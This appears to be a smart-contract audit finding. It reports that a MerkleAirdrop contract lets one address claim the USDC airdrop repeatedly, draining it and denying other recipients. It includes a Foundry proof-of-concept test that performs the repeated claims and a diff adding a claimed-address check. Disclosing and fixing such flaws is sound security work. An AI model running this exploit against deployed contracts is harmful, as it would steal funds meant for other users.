Summary
The protocol wants to airdrop 25 USDC to the 4 lucky addresses mentioned in their docs.
But a missing implementation to keep track of users who already claimed their award allows the same user to claim the reward multiple times until MerkleAirdrop
has sufficient USDC available and as a result of which other users will face a Denial of Service even though they have not claimed their USDC yet. But as the MerkleAirdrop
getting fully drained of the USDC Airdrop token will result in failed token transfer.
Vulnerability Details
The vulnerability is present in the MerkleAirdrop
contract where it doesn't keep a track of users who have already claimed their Airdrop allowing them to claim it again and again because there is no mechanism for claim
function to know whether the account has already claimed Airdrop or not.
Therefore, MerkleAirdrop
contract will run out of USDC Airdrop token.
Thus it will result in a Denial of Service for users who are remaining to claim their awards, as the MerkleAirdrop
contract will get drained out of all the USDC token, therefore they will not be able to claim their reward and their call to claim
will always fail.
Impact
PoC
Add the test in the file: test/MerkleAirdropTest.t.sol
Run the test:
forge test --mt test_SingleUserClaimMultipleTimes_And_DoS_Others
function test_SingleUserClaimMultipleTimes_And_DoS_Others() public {
address collectorTwo = 0x277D26a45Add5775F21256159F089769892CEa5B;
bytes32[] memory collectorTwoProof = new bytes32[](2);
collectorTwoProof[0] = 0x2683f462a4457349d6d7ef62d4208ef42c89c2cff9543cd8292d9269d832c3e8;
collectorTwoProof[1] = 0xdcad361f30c4a5b102a90b4ec310ffd75c577ccdff1c678adb20a6f02e923366;
uint256 initCollectorOneBalance = token.balanceOf(collectorOne);
uint256 airdropFee = airdrop.getFee();
for (uint256 i = 0; i < 4; i++) {
hoax(collectorOne, airdropFee);
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
}
assertEq(token.balanceOf(collectorOne), initCollectorOneBalance + amountToCollect * 4);
hoax(collectorTwo, airdropFee);
vm.expectRevert(
abi.encodeWithSignature(
"ERC20InsufficientBalance(address,uint256,uint256)",
address(airdrop),
token.balanceOf(address(airdrop)),
amountToCollect
)
);
airdrop.claim{ value: airdropFee }(collectorTwo, amountToCollect, collectorTwoProof);
}
Tools Used
Manual Review, Foundry Unit Test
Recommendations
Implement a mechanism in MerkleAirdrop
to keep track of users who keeps claiming the Airdrop and prevent an already claimed user to claim it again.
@@ -11,10 +11,12 @@ contract MerkleAirdrop is Ownable {
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) private i_claimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
@@ -28,6 +30,12 @@ contract MerkleAirdrop is Ownable {
}
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (i_claimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
+
+ i_claimed[account] = true;
+
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
@@ -57,6 +65,10 @@ contract MerkleAirdrop is Ownable {
return i_airdropToken;
}
+ function isClaimed(address account) external view returns (bool) {
+ return i_claimed[account];
+ }
+
function getFee() external pure returns (uint256) {
return FEE;
}